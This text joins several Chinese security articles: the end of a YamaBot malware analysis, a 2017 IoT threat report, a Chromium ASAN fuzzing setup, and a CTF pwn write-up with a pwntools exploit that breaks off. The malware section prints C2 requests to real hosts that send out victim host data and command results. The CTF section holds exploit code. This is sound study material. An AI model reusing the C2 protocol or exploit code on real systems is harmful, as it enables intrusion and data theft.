下面介绍YamaBot的通信方式和命令，重点介绍YamaBot在Linux和Windows操作系统版本上的区别。
### 通信方式
YamaBot 使用 HTTP 请求与 C2 服务器通信。YamaBot发送的第一个 HTTP 开机自检请求如下。这是一个 HTTP
开机自检请求，但没有要发送的数据，其用户代理是 Base64 编码的。
POST /editor/session/aaa000/support.php HTTP/1.1
Host: 213.180.180.154
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: 0
Accept-Encoding: gzip
如果成功连接到C2服务器，则YamaBot发送以下请求，其中包括其Cookie标头中的信息。添加的信息包括随机生成的4字节字符串和16字节RC4密钥的Base64编码。RC4密钥使用从以下数据生成的MD5值的前16个字节。
* 目标Windows操作系统：主机名、用户名、MAC地址
* 目标Linux操作系统：主机名、用户名
`captcha_val`中的内容：RC4加密和Base64编码的终端信息和命令执行结果
POST /editor/session/aaa000/support.php HTTP/1.1
Host: 213.180.180.154
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: 0
Cookie: captcha_session=MTE5NzZmMTYwYzRlNTU4YjhhNDZhMTM4ZGMwNzgzNTNhNmUy; captcha_val=W%2BIePQNeokInrSpb%2Fw1rTLAZvJAZQHmqAm2rXWdTsCvZ
Accept-Encoding: gzip
`captcha_val`发送的第一个数据是操作系统信息和IP地址，发送如下内容：
windows 6 amd64|[192.168.1.1]
linux 386|[192.168.1.1]
此外，如果发送的数据大小超过特定大小（确认3333字节，7000字节的示例），则将发送的数据模拟为多部分BMP数据，而不是 `captcha_val`发送。
POST /recaptcha.php HTTP/1.1
Host: www.karin-store.com
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: [Length]
Content-Type: multipart/form-data; boundary=f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb
Cookie: captcha_session=YTY5NDQ5MDYwNmRkNjIyOWI3MzU1NTNmYzMxMzhiNTAyNGJh; captcha_val=NGI5NjdhNTdhNjliZTVkMg%3D%3D
Accept-Encoding: gzip
--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb
Content-Disposition: form-data; name="recaptcha"; filename="recaptcha.png"
Content-Type: application/octet-stream
BMf6(....0a..DT043b01c728892b495b99ea4c257fe3a8fea3a5f
--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb--
来自服务器的命令包含在Set-Cookie标头中。它们经过RC4加密（RC4密钥使用恶意软件发送的数据）和Base64编码，然后包含在`captcha_session`中，如下所示：
Set-Cookie: captcha_session=[Base64エンコードされた命令]
### 命令
来自C2服务器的指令执行的命令因目标操作系统而异。那些以Linux操作系统为目标的用户只能通过/bin/sh执行shell命令。另一方面，那些以Windows操作系统为目标的用户可以实现以下多个命令。
* dir: 获取文件列表
* Mapfs: 获取目录列表
* Download: 文件下载
* Info: 文件路径，发送PID
* Sleep:休眠时间更改
* Uninstall: 删除主机
* i: 间隔时间更改
* 其他：使用shell命令执行给定的字符串
格式要求上述命令包含在前半部分，可表示为：`[command][command parameters]`
如果执行命令`i`，则发送命令执行结果，其中包含部分德语字符，目前尚不清楚在YamaBot中包含德语的原因。
图2: 执行i命令时要发送的数据
### 总结
攻击者仍在使用YamaBot恶意软件。由于它不仅针对Windows操作系统，还针对Linux操作系统，因此在事件调查期间还应仔细调查服务器。日本国内当前也确认了多个Lazarus组织的攻击活动，今后应予以注意。Lazarus使用的另一种恶意软件将在下一期中介绍。
#### 附录A：配置信息
表A-2：配置信息列表 （x86)
偏移 | 描述 | 备注
---|---|---
0x000 | 间隔 | 通信间隔
0x004 | - | 未使用
0x008 | C2 服务器 |
0x00C | C2 服务器长度 |
0x010 | RC4 密钥 |
0x014 | RC4 密钥长度 |
0x018 | 连接 C2 服务器 | 是否成功连接到 C2 服务器
0x01C | Cookie 标头值 | 要在 Cookie 标头中设置的值
0x020 | - | 未使用
0x024 | 连接次数 | 与 C2 服务器的重新连接次数
| |
表A-1：配置信息列表 （x64）
偏移 | 描述 | 备注
---|---|---
0x000 | 间隔 | 通信间隔
0x008 | C2 服务器 |
0x010 | C2 服务器长度 |
0x018 | RC4 密钥 |
0x020 | RC4 密钥长度 |
0x028 | 连接 C2 服务器 | 是否成功连接到 C2 服务器
0x030 | Cookie 标头值 | 要在 Cookie 标头中设置的值
0x038 | - | 未使用
0x040 | 连接次数 | 与 C2 服务器的重新连接次数
#### 附录B: C2 服务器
* http://www.karin-store.com/recaptcha.php
* http://yoshinorihirano.net/wp-includes/feed-xml.php
* http://213.180.180.154/editor/session/aaa000/support.php
#### 附录C：恶意软件哈希值
* f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb
* 6db57bbc2d07343dd6ceba0f53c73756af78f09fe1cb5ce8e8008e5e7242eae1
* * * | 社区文章 |
# 2017年度安全报告——IoT安全威胁
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Internet of Things — Security
> 近年来，物联网技术的普及和快速发展让越来越多设备智能化，在公共领域，智慧环境 ( 家庭，办公，工厂 )
> 领域，个人和社会领域等方面都有深入应用，新的技术和设备引入也带来了新的安全和隐私风险。该报告将探讨2017 年整年关于 IoT(Internet of
> Things) 设备相关的安全问题。
通过对市面设备的分析和已爆发的 IoT 安全事件回顾，我们观察到以下问题。
#### 安全漏洞
安全漏洞是一个必然存在的问题，但必要的安全开发规范和习惯会减少漏洞的产生。
#### 不安全通信
很多现有成熟的安全功能设计是可以复用到 IoT 设备中的，但依旧存在以下不安全通信的问题。
* 未经认证的通信
* 未加密的通信
* 验证授权问题
* 缺乏必要的网络隔离
#### 数据泄露
很多物联网设计方案依托于云端， 设备和云端处理通信，也会设备之间互相通信，均可能存在数据泄漏风险 ( 用户信息，隐私， keychain 等 )。
#### 云端泄漏
云端服务面临传统云安全挑战， 但因为和物联网的融合， 一旦云端沦陷， 将影响接入的物联网安全。
设备之间泄漏
#### 开发设计安全意识
由于开发设计阶段人员安全意识不足，导致设备原生就存在安全弱点，易被攻击。
#### 硬编码问题
由于开发过程不规范，导致私钥，API KEY，链接服务端密码被硬编码到固件，导致信息泄露所带来的安全问题。
#### 默认身份认证凭据 ( 密码，口令 )
许多 IoT 设备使用相同的默认密码， 且用户无法主动修改密码。
#### 硬件安全
IoT 设备一定会涉及嵌入式设备硬件， 硬件本身安全性也应考虑其中， 如串口， 一旦缺乏必要的认证机制， 暴露给攻击者， 攻击者可以很容易查找到敏感信息，
dump 固件， 从而导致上述任意一环安全问题。
由这些安全问题， 整个 IoT 生态也爆发了一系列安全事件曝光于眼前， 也有大量没有曝光， 依旧暗藏于互联网空间中。
#### IoT 设备的严重碎片化
由于 IoT 暂时属于新生事物， 各个厂商有不同的设备功能， 实现， 版本， 难免出现众多安全问题。
#### Nday 重复利用
同一厂商的不同产品由于实现类似功能时复用代码， 有可能已披露的漏洞在某一产品修复但依然可以攻击另一产品。
#### 不安全的第三方
引用不安全的第三方库引发对自身产品的安全影响。
#### 完整性和签名校验
对于 IoT 设备来说， 完整性校验和签名校验可以有效的对抗漏洞利用， 涉及到从 BootLoader 到 OTA 的各个阶段， 甚至可以到网络通信过程。
* 易感染恶意代码
* 易被篡改功能通信实现 IoT 设备本身的恶意行为
* 获取敏感信息，隐私等
#### Mirai 及其变种
2016 年爆发的 Mirai 事件经过一年的沉淀， 依旧对互联网产生着影响， 尤其是作者公开源代码后， 各种 Mirai变种 ” 百花齐放 “，
不少变种比 Mirai 原本更具有攻击性。
#### IoT_reaper
IoT_reaper 脱胎于 Mirai， 但在诸多方面更是优于 Mirai， 放弃弱口令攻击模式， 转而直接对 IoT 设备进行漏洞利用。
#### Satori
Satori 同样源于 Mirai， 除了在利用漏洞方面青出于蓝胜于蓝外， Satori 还有自扫描模块， 更加方便蠕虫的传播。
#### Hajime
Hajime 和 Mirai 不 同 的 是， 这 是 一 个 低 调 的 P2P botnet， 产生后并没有在公众视野过于张扬， 只是藏于暗处闷声发财，
由于是一个 P2P botnet， 安全人员很难通过黑名单对Hajime sinkhole。
#### IoT 挖矿
随着匿名货币龙头 BTC 的暴涨， 整个匿名数字货币水涨船高， 其匿名， 安全， 无法追踪的特性， 给网络黑产滋生带来了春天， 从今年 5 月的
SambaCry 漏洞后， 我们观察到大量野外利用攻击 IoT 设备进行 CPU 算力货币挖掘 (XMR 门罗币 )，IoT
设备的数量优势以及漏洞修复推送不及时等原因让其成为挖矿黑产里的新贵。
#### DDoS
无论是 Mirai 还是变种或任意 IoT botnet， 其变现要么挖矿， 要么 DDoS。
## IoT 安全方向讨论
IoT 设备所直面的安全和隐私风险挑战最终会在用户使用设备时完全体现， 由于 IoT 设备比传统的 PC 设备或服务器设备更加贴近用户态，
关联到的隐私数据或财产数据比传统设备更多， 这也使得攻击者青睐于这一新兴事物 ; 其次， IoT
设备通常不会提供清晰完整的控制部署文档，也不会告知再部署设备时有可能带来的风险， 这使得用户对设备完全处于黑箱状态， 当安全和隐私收到威胁时感知度不高。
#### 用户心态
大多用户都是非技术人员或者对技术不感兴趣的群体， 这样的最终用户不具备评估隐私和安全的专业能力， 所以导致弱口令泛滥， 版本不升级等情况。
#### 互联网接入
大量暴露在公网的 IoT 设备， 带来了恶意软件和漏洞利用的落地入口。
#### 设备基数
IoT 设备由于大部分价格成本较低， 所以数量庞大， 大量的IoT 设备基数也就使得易被攻击的比例增多，
数量庞大的设备能带来的变现能力和攻击能力更是不能小觑， 2016 年的 Mirai 事件就是最好证明。
#### 设备功能特性
很多 IoT 设备贴合用户隐私， 如摄像头， 麦克风， 门锁，医疗设备， 智能穿戴支付等， 和用户贴合越密切， 越容易泄露敏感信息， 偷听， 偷窥，
远程打开门锁， 盗刷支付等。
#### 易攻击性
许多 IoT 设备都不遵循安全性的最佳实现， 这使得攻击 IoT设备门槛变低， 单带来的影响却变高。
## IoT 威胁分析
这一部分我们会针对不同切入点从技术角度讨论 IoT 的安全性，并将通过回顾 2017 一整年事件作为表现方式。
### IoT 不安全通信
在厂商与厂商的合作之间势必会相互开放接口或者通信密钥以及一系列相关资源，这就导致了，但凡有一家合作厂商的安全做的不够出色，这就导致了短板效应的出现而拉低了众多厂商的安全等级。A
厂商和 C 厂商的合作使得 A 厂商几乎只承担的了集成 SDK 的成本就获得了一项智能家居产品，而 C 厂商也仅仅是提供了
SDK就拓宽了自己的销售渠道，这样的合作模式肯定受到双方欢迎的，但是这之间的安全问题是值得关注的。
* 通信的密钥
* 身份 TOKEN
* 完整的设备信息
* 完整的控制请求
根据上述的问题，再结合一定的分析往往就能很容易的得出一份令人满意的漏洞。
#### 认证绕过导致接管设备
智能硬件的人机交互很多由 APP 控制，如果 APP 存在安全问题，这就会导致许多隐患：
* 通信模型设计不当
* 验证认证流程存在绕过，或极不完善
* 查询接口权限认证粗糙
* 涉及服务器敏感信息泄露
逆向某智能家居 APK
通过简单的认证流程模拟，由一个手机号即可获取大量设备关键信息，甚至控制密码。
通过手机获取设备信息
再根据已掌握的信息，进行设备控制指令的生成也是十分简单进而完全控制设备。
完全控制设备
在远程控制解决方案上，互联网层面多由 XMPP 协议进行通信，但部分厂商在使用上仅仅着手于 XMPP
协议的及时性和开放性，对于一些必要的安全措施并没有进行良好的设计。某厂商该特意设计了一个控制服务器，来接受和记录设备的绑定以及设备状态查询的服务，该服务器没有任何权限设置，也没有token
校验，可以抓包后任意重放，从而获得任意设备 mac 所绑定的用户手机号，同时，还有以下安全问题 ：
* 在服务器上存储用户设备控制密码
* 对设备控制权限变更⽆校验，任何人可以在任何情况下对设备进行重新绑定，解绑，添加信任用户等危险操作
* 并在特殊的构造下，可以直接获取到任意设备的控制密码
在通信过程中消息内容采用固定格式：
wan_phone%015bee58-xxxx-xxxx-xxxx-31598127xxxx%password%open%relay
在 局 域 网 内 设 备 采 用 UDP 无 连 接 通 信， 通 过 向 设 备 发 送 连 续UDP 报获取设备信息，通过构造控制指令，变换 mac
地址即可批量完全控制设备。
#### 小结
由于设备不安全通信 , 攻击者对现有用户会产生用户敏感信息泄露 和IoT 设备为攻击者大开方便之门的安全问 题 .
最终甚至危害到广大用户的人身以及财务安全。
#### 已有的改进
* 尽量避免了将设备直接暴露在公网中
* 已有一些通信上的加密措施 , 不再是任何⼈都可以向设备发送消息
* 避免 IoT 设备的固件开发下载
#### 尚存或演进的问题
* 以CS 模式通信 , 但是通信结构和验证过程过于简单或没有 ,导致⼀旦攻破便可危害所有在网设备
* APP 的安全开发意识十分薄弱
* 厂商合作之间的信任链单一 , 信任关系简单
* 多模式设计下 , 短板效 应明显 , 在某一模式安全性的缺失则导致整套安全系统崩溃
* 对用户信息 , 设备的存储和查询 , 存在致命的缺陷 , 对用户信息无任何保护手段 , 很容易获得设备用户的对应关系
> 早期 , 网络病毒、蠕虫入侵的对象只是计算机 , 随着物联网时代的到来 , 入侵的对象由电脑转向网络摄像头和 路由器 . 万物互联时代的恶意软件猖獗 ,
> 导致 IoT 僵尸网络的疯狂滋生。
>
> 此处我们会讨论 2017 年几个极具代表 性的 IoT 恶意软件。
### IoT 恶意软件威胁
2016 年爆发的 Mirai 事件经过一年的沉淀 , 依旧对互联网产生着影响 , 尤其是作者公开源代码后 , 各种 Mirai 变
种”百花齐放”,不少变种比 Mirai 原本更具有攻击性 .
#### IoT_reaper
以 2017 年 10 月 爆 发 的 IoT_reaper 为 例 , 该 僵 尸 网络 脱 胎 于mirai, 但是在诸多方面比 mirai 更进一步
, 特别是开始放 弃弱口令猜测 , 完全转向利用 IoT 设备漏洞收割。
IoT_reaper 相较于 mirai 仍有几个明显区分点：
1. 恶意代码投入时不再使用弱口令猜测、而是使用 iot 设备漏洞，扫描发现效率大大提高；
2. 恶意代码中集成了 LUA 执行环境，从⽽支持通过 lua 脚本编写复杂的攻击指令；
3. 主动抑制了扫描速度，被安全研究者发现的风险大大降低。
其中最为可评说的是 IoT_reaper 完全放弃了 mirai 中利用弱口令猜测的方式，转为利用 IoT 设备的漏洞植入，当前样本中集成了了 9 个
IoT 设备漏洞。
IoT_reaper 利用漏洞情况
在 2017.10.13 至 2017.10.23 之间单台 C2 的感染情况如下：
#### Satori
2017 年 11 月 22 日 , 360 网 络 安 全 研 究 院 观 测 到 有 大 量 扫 描集 中 在 23 和 2323 端 口 , 并 通
过 admin/CentryL1nk admin/QwestM0dem 两组用户名密码进行爆破 , 其针对的是 ZyXEL 调
制解调器 , 之后该僵尸网络 C2 被 sinkhole。
2017 年 12 月 05 日 , Satori 的 新 版 本 开 始 在 端 口 37215 和52869 上迅速传播。
相较于 mirai, 区分如下：
* bot 不再完全依赖以往的 loader/scanner 机制进行恶意代码的远程植入，而是自身有了扫描能力 ;
* bot 中增加了两个新的漏洞利⽤，分别工作在端口 37215和 52869 上
从 12 月 05 日开始可以看到 263250 个不同的 IP 在扫描目标端口：
12 月 5 日目标端口扫描情况
此次 Satori 的新版本主要利用到的是 CVE-2014-8361(52869端口 ) 和一个华为路由器的 0day
CVE-2017-17215(37215 端口 )。
Satori 在传播过程中 , 不仅会利用上述漏洞利用 , 而且会迫使受感染设备从原始下载 URL 处继续下载 Satori 自身的恶意代码。这样周而复始
, 使得恶意代码类似蠕虫式地传播。
#### Setbox
2017 年 8 月 , 国内观测到一系列 DDoS 攻击 , 通过溯源发现攻击来自于一批电视机顶盒 , 通过样本分析 , 依旧可以归为 mirai 家族的
Satori 变种 , 其 DDoS 攻击代码一致 , 代码结构基本没改变。
但该僵尸网络针对有线电视终端机顶盒进行 telnet 口令爆破 , 将mirai 的攻击面延展到机顶盒设备 , 这无疑增加了影响范围。
该僵尸网络攻击传播如图所示：
Satori 僵尸网络船舶原理
通过 360 网络安全研究院数据观测 , 两个 C2 请求态势如下：
185.130.xxx.xxx:7723
185.47.xx.xxx:8716
#### 小结
由以上三个 IoT 恶意软件看出 , 在 Mirai 开源代码后 , 其变种层出不穷 , 且青出于蓝胜于蓝 , 主要表现为 :
* 保留 Mirai 的基本框架特性
* 利用漏洞 ( 甚至 0day) 收割未被弱口令命中的 IoT 设备
* 自身添加了扫描能力
* 集成 LUA 环境升级自身编码能力
* 和安全研究人员对抗性加强
> 在物联网相关的安全问题越来越引发关注的背景下 , 对在互联网上暴露的 IoT 设备进行分析和梳理是非常有必要的 ,360CERT 自行研发的 QUAKE
> 网络测绘平台孕育而生 , 利用网络空间测绘技术 ,
> 发现存储相关的 IoT 设备 , 形成威胁情报。
### IoT 设备网络测绘情况
IoT 设备网络测绘总览
由于不同厂商设备指纹凌乱特征区分不明显 , 搜索结果可能和实际情况有出入 , 实际暴露情况可能比以下数据更多。
从全球分布来看 , 设备暴露情况以路由器为主 , 超过了 3100 万。
路由器全球测绘情况
其次为是视频监控设备 , 超过 800 万设备暴露在公网。
监控设备全球测绘情况
其中打印机位列第三 , 超过 80 万打印机暴露于公网。
打印机全球测绘情况
#### 路由器暴露情况
通过统计 , 我们发现一个有趣的情况 , 在路由器暴露全球分布上 ,中国独占鳌头总量超过 1000 万。
全球范围内 , 暴露数量最多的服务依次是 HTTP、FTP、UPnP和 TR-069; 国内范围内 , 83% 的路由器开放了 UPnP 服务。
* HTTP 服务以 80, 8080, 8081 等常见端口为主
* FTP 服务端口为 21, 不排除存在匿名访问的情况
* TR-069 协议以 7567, 4567 端口为主
* Telnet 以 23 和 2323 为主 , 很多可以直接访问到魔改前后的路由系统 , 也由此 Telnet 成为攻击者的主要目标
* 从国内数据统计来看 , 超过 80% 的路由设备开放了 UPnP服务
#### 视频监控设备暴露情况
视频监控设备一直在安防领域占据主导地位 , 但今年发生的一些黑天鹅事件已经对智能安防设备的安全性敲响了警钟。
海康威视和大华两大厂商作为监控设备龙头 , 市场占有量大 , 所以暴露在公网的设备也以这两大厂商为主。
海康达到 300 万左右的全球设备暴露量 , 大华达到 200 万左右的全球设备暴露量 , 剩下以 D-Link, Cross 等厂商设备为主。
( 该图表数据来自于绿盟 < 物联网安全研究报告 >)
#### 打印机设备情况
在本次统计中 , 令人意想不到的是打印机暴露占比不少 , 随着智能化办公的推进 , 移动设备打印需求增大 , 打印机逐渐朝着智能化发展 ,
越来越多的功能也伴随而来更多的攻击面。
在全球设备暴露方面 , 惠普占量最多 , 达到 50 万左右 , 其次爱普生 ,富士施乐等大厂商也占比较高。
惠普打印机全球以美国暴露量最大 , 其次为韩国 , 加拿大。
在打印机寻求攻击面上 , 除了常规的 web 控制端 , 631 端口 ipp 访问弱口令一类认证问题 , 我们还发现了 9100 端口 PJL
服务安全问题。
通过PJL 命 令 , 可 以 使 支 持 Postscript 的 打 印 机 切 换 至Postscript 模式 , 直接执行 Postscript
代码进而控制整个打印机。
#### 小结
虽然一个物联网设备暴露在互联网并不一定意味着这个设备存在问题 , 但能说明该设备存在被攻击甚至被利用的风险。
通过网络测绘 , 我们发现以下问题：
* IoT 设备暴露公网量巨大 , 且很多存在安全风险
* 路由器和智能安防设备占有量为主
* 中国在全球设备暴露量中占比较大
* 大量的 IoT 设备暴露给攻击者落地进一步攻击提供了便携
* 越来越多的传统设备在向智能化靠近且已经占到全球设备暴露量前列
## IoT 安全发展展望
### 合规性管理
IoT 正在驱动着一轮新的行业变革 , 但在不同行业 , 安全需求不统一 , 落地的安全方案也不全面成熟 ,
在安全监管和应对措施上也没有明确思路。仅仅依靠某个组织 , 行业的安全推动是远远不够的 ,
需要更高层级的协调以及统一的合规性管理。
举例参考 2016 年由于 Mirai 引发的断网事件 , 美国次月即发布了《保护物联网策略准则 (1.0 版 )》, 今年 5
月还签署了总统令《加强联邦网络和关键基础设施的网络安全》, 均要求各私营企业、研
究机构、社会团体围绕减少僵尸网络威胁和维护物联网终端设备安全问题 , 提出法律、政策、标准、技术等方面的建议 。
加强政府的监管和立法，不仅有助于提高社会和国家对物联网安全的重 视程度，而且也能进一步推进物联网产业向着健康、安全的方向良性发展。
### 物联网安全标准建设
在任何技术的发展和演进过程中 , 标准都有着至关重要的作用 , 理论形成标准 , 标准指导产品和解决方案的完善。从现在的情况看来 , IoT
处于起步蓬勃发展的阶段 , 以指南和框架为主 , 能够指导产业落地 , 解决大块的安全痛点。
## 参考
[ http://blog.netlab.360.com/wa-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869/](http://blog.netlab.360.com/wa-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869/)
[ http://blog.netlab.360.com/iot-reaper-a-quick-summary-of-a-rapid-spreading-new-iot-botnet/](http://blog.netlab.360.com/iot-reaper-a-quick-summary-of-a-rapid-spreading-new-iot-botnet/)
[
http://www.nsfocus.com.cn/upload/contents/2017/12/20171205171653_35944.pdf](http://www.nsfocus.com.cn/upload/contents/2017/12/20171205171653_35944.pdf) | 社区文章 |
**作者：areuu
原文链接：<https://mp.weixin.qq.com/s/UllCnLCF4XQIC5WxrZYJbQ>**
本文介绍一个简便的方法构建自动挖掘chromium 框架。主要的想法是自动去跑生成的testcase
，然后检测结果是否触发了ASAN，触发了的话自动邮件发送符号化的邮件。
单纯的挖chromium，看你怎么挖了，有些漏洞window.close() 再加上一些features 开关，配合用户操作就可以挖到一批，也有些poc
是直接是for 循环几个 js api，在event handler中来个postmessage 来detach 某内存，或者是gc
或者删除某个对象来释放对象。这poc 看起来构造也容易，想着如何fuzz 的话应该比较大概率可以通过fuzz 挖到。
首先需要个asan 编译的chromium 预编译文件，一般的可以从
<https://alesandroortiz.com/articles/latest-chromium-asan-builds/> 来下载
或者通过查找chromium base position 然后通过gsutil 来下载
这里祭出本人使用的脚本query.sh
#!/usr/bin/env bash
BASE='https://omahaproxy.appspot.com/deps.json?version='
GSUTIL_LINUX='gsutil ls "gs://chromium-browser-asan/linux-release/asan-linux-release-'
if [ $# != 1 ]; then
BASE_VERSION=`curl $BASE 2> /dev/null | jq -r ".chromium_version"`
BASE_POSITION=`curl $BASE 2> /dev/null | jq -r ".chromium_base_position"`
V8_VERSION=`curl $BASE$BASE_VERSION 2> /dev/null | jq -r ".v8_version"`
echo "current stable version: $BASE_VERSION"
echo "v8 version: $V8_VERSION"
# show
exit 1
fi
VERSION="$1"
DOWNLOAD_URL=$BASE$VERSION
BASE_POSITION=`curl $DOWNLOAD_URL 2> /dev/null | jq -r ".chromium_base_position"`
V8_VERSION=`curl $DOWNLOAD_URL 2> /dev/null | jq -r ".v8_version"`
echo ""
echo "chromium base position: $BASE_POSITION"
echo "v8 version: $V8_VERSION"
if [ "$2" = "win" ];
then
echo "yes";
fi
ex:
➜ browser git:(master) query.sh 106.0.5249.119
chromium base position: 1036826
v8 version: 10.6.194.18
^C
➜ browser git:(master) gsutil ls "gs://chromium-browser-asan/linux-release/asan-linux-release-103682*.zip"
gs://chromium-browser-asan/linux-release/asan-linux-release-1036821.zip
gs://chromium-browser-asan/linux-release/asan-linux-release-1036825.zip
gs://chromium-browser-asan/linux-release/asan-linux-release-1036826.zip
之后cp 来下载
➜ browser git:(master) gsutil cp gs://chromium-browser-asan/win32-release_x64/asan-win32-release_x64-1036825.zip .
### 运行和检测ASAN 信息
asan chromium 在触发漏洞时会打印sanitize 信息来检测，将输出信息不断的进行检测sanitize 标头即可。
可以选择直接使用linux 脚本来跑，然后检测下返回码，最初也是这么跑的
...
export ASAN_OPTIONS=detect_leaks=0
export USE_ZEND_ALLOC=0
while true; do
if [ $(ls $FUZZDIR/$NODE/ | wc -l) -eq 0 ]; then
echo "Waiting for more tests..."
sleep 2
continue
fi
TEST=$(ls $FUZZDIR/$NODE/ | head -n1)
echo -n "Testing $TEST: "
OUTPUT=$(timeout -s SIGTERM $TIMEOUT $CHROMIUM/chrome --user-data-dir=$USERDIR --disable-gpu --headless --no-sandbox --js-flags='--expose_gc' --enable-blink-test-features --disable-popup-blocking --ignore-certificate-errors --enable-experimental-web-platform-features --enable-features=AutofillAddressProfileSavePrompt $FUZZDIR/$NODE/$TEST 2>&1 | $MAIN_CHROMIUM/src/tools/valgrind/asan/asan_symbolize.py > $ASANLOG)
RET=$?
if [ $RET -ne 0 ]; then
...
echo -e "\e[31;1mCRASH (ret:$RET)\e[0m"
mv $FUZZDIR/$NODE/$TEST /mnt/fuzz/crashes/$TEST$(date)
mv $ASANLOG /mnt/fuzz/crashes/$TEST$(date).asan.log
...
跑起来飞快，1秒可能跑1，2个吧
配合个某个generator，跑了一晚跑出了个asan，最后不出意外的还是出意外了:(
由于不满足测试速度，去寻找其他方案。一般的跑testcase 可以放在iframe 里面不断加载，像fuzz in sixty seconds
那样，也可以使用extensions 来不断开tab 来加载，或者在网页中open 个testcase ，然后关闭。
在github 上搜了一下mozila 开发了ffpuppet 来fuzz
他们的firefox，有现成的我就直接拿来用，这里做了一些修改，来适应chromium，同时添加一些自定义参数。
web server
这里选择使用了web server 来提供testcase ，通过访问一个url 然后返回testcase url 来测试。
直接使用php + redis，从redis 来获取有generator 生成的testcase。这样可以可以实现分布式测试，提高fuzz 效率。
<!doctype html>
<html>
<head>
<script>
var file = null;
var run_count = 0;
var bFinish = false;
onload = function fLoad() {
var xhr = new XMLHttpRequest();
xhr.onload = function (e) {
console.log(file);
file = JSON.parse(xhr.response).file;
if (bFinish == false)
bFinish = true;
document.title = "Loading " + file;
console.log(">>>>> " + file);
}
xhr.open('GET', '/next.php?action=query');
xhr.send(null);
var oFrame = open("/testcase/" + file + ".html");
console.log("<<<<<<< " + file);
setTimeout(fCleanup, 200);
function fCleanup() {
// setTimeout(function() {
try {
if (bFinish == true) {
bFinish = false;
oFrame.close();
}
} catch (e) { };
// }, 200);
fLoad();
}
}
</script>
</head>
<body>
</body>
</html>%
### testcase 生成
你猜
看你想fuzz 哪个组件，然后看规范，收集api，写规则。。。
### 自动化
开个cron job，自动从github pull写好的generator，以及不断检测是否有crash 文件生成，有的话直接发邮件过去。
最终
不过还是审计吧
* * * | 社区文章 |
# NahamConCTF2021 PWN WP
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Sort it
首先看一下程序的整体逻辑
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+Fh] [rbp-71h]
__int64 v5; // [rsp+10h] [rbp-70h] BYREF
__int64 v6; // [rsp+18h] [rbp-68h] BYREF
__int64 v7[12]; // [rsp+20h] [rbp-60h] BYREF
v7[11] = __readfsqword(0x28u);
v4 = 0;
v7[0] = 'egnaro';
v7[1] = 'eton';
v7[2] = 'elppa';
v7[3] = 'puc';
v7[4] = 'daerb';
v7[5] = 'arbez';
v7[6] = 'dnah';
v7[7] = 'naf';
v7[8] = 'noil';
v7[9] = 'licnep';
clear();
puts("Sort the following words in alphabetical order.\n");
print_words((__int64)v7);
printf("Press any key to continue...");
getchar();
while ( v4 != 1 )
{
clear();
print_words((__int64)v7);
printf("Enter the number for the word you want to select: ");
__isoc99_scanf("%llu", &v5);
getchar();
--v5;
printf("Enter the number for the word you want to replace it with: ");
__isoc99_scanf("%llu", &v6);
getchar();
swap((__int64)v7, v5, --v6);
clear();
print_words((__int64)v7);
printf("Are the words sorted? [y/n]: ");
fgets(&yn, 17, stdin);
if ( yn != 'n' )
{
if ( yn != 'y' )
{
puts("Invalid choice");
getchar();
exit(0);
}
v4 = 1;
}
}
if ( (unsigned int)check((__int64)v7) )
{
puts("You lose!");
exit(0);
}
puts("You win!!!!!");
return 0;
}
程序循环对给定的字符串数组进行排序，但是程序没有限制输入的`index`的范围，也就是存在数组越界漏洞。
根据数组越界漏洞结合`print_words`函数即可泄漏出栈中的一些内容，得到`libc,elf`基地址和栈地址。泄漏得到地址之后还存在一个问题就是如何将数据写入到栈中。
这里注意到`fgets`函数可以读取`0x11`字节的内容，那么我们就可以先将内容写入到`bss`中，再根据数组越界和`swap`函数将内容写入到栈中，这就构成了一个栈溢出，依次写入`rop`内容即可。
至于`rop`的触发需要等到`main`函数返回时才能执行，因此这里需要满足`check`的检查，即对字符串数组中的单词依照首字母从小到大进行排序。
# encoding=utf-8
from pwn import *
file_path = "./sort_it"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0xe6e73, 0xe6e76, 0xe6e79]
else:
p = remote('challenge.nahamcon.com', 32633)
libc = ELF('./libc-2.31.so')
one_gadget = [0xe6e73, 0xe6e76, 0xe6e79]
def sort(index1, index2, end=False):
p.sendlineafter("want to select: ", str(index1))
p.sendlineafter(" replace it with: ", str(index2))
if end:
p.sendlineafter("sorted? [y/n]: ", "y")
else:
p.sendlineafter("sorted? [y/n]: ", "n")
def overflow(index, value):
p.sendlineafter("want to select: ", str(1))
p.sendlineafter(" replace it with: ", str(1))
p.sendlineafter("sorted? [y/n]: ", b"n".ljust(8, b"\x00") + p64(value))
sort(index, yn_offset)
p.sendlineafter("continue...", "\n")
sort(3, 1)
sort(3, 8)
sort(3, 4)
sort(5, 2)
sort(5, 7)
sort(6, 10)
sort(6, 9)
sort(1, 11)
p.recvuntil("1. ")
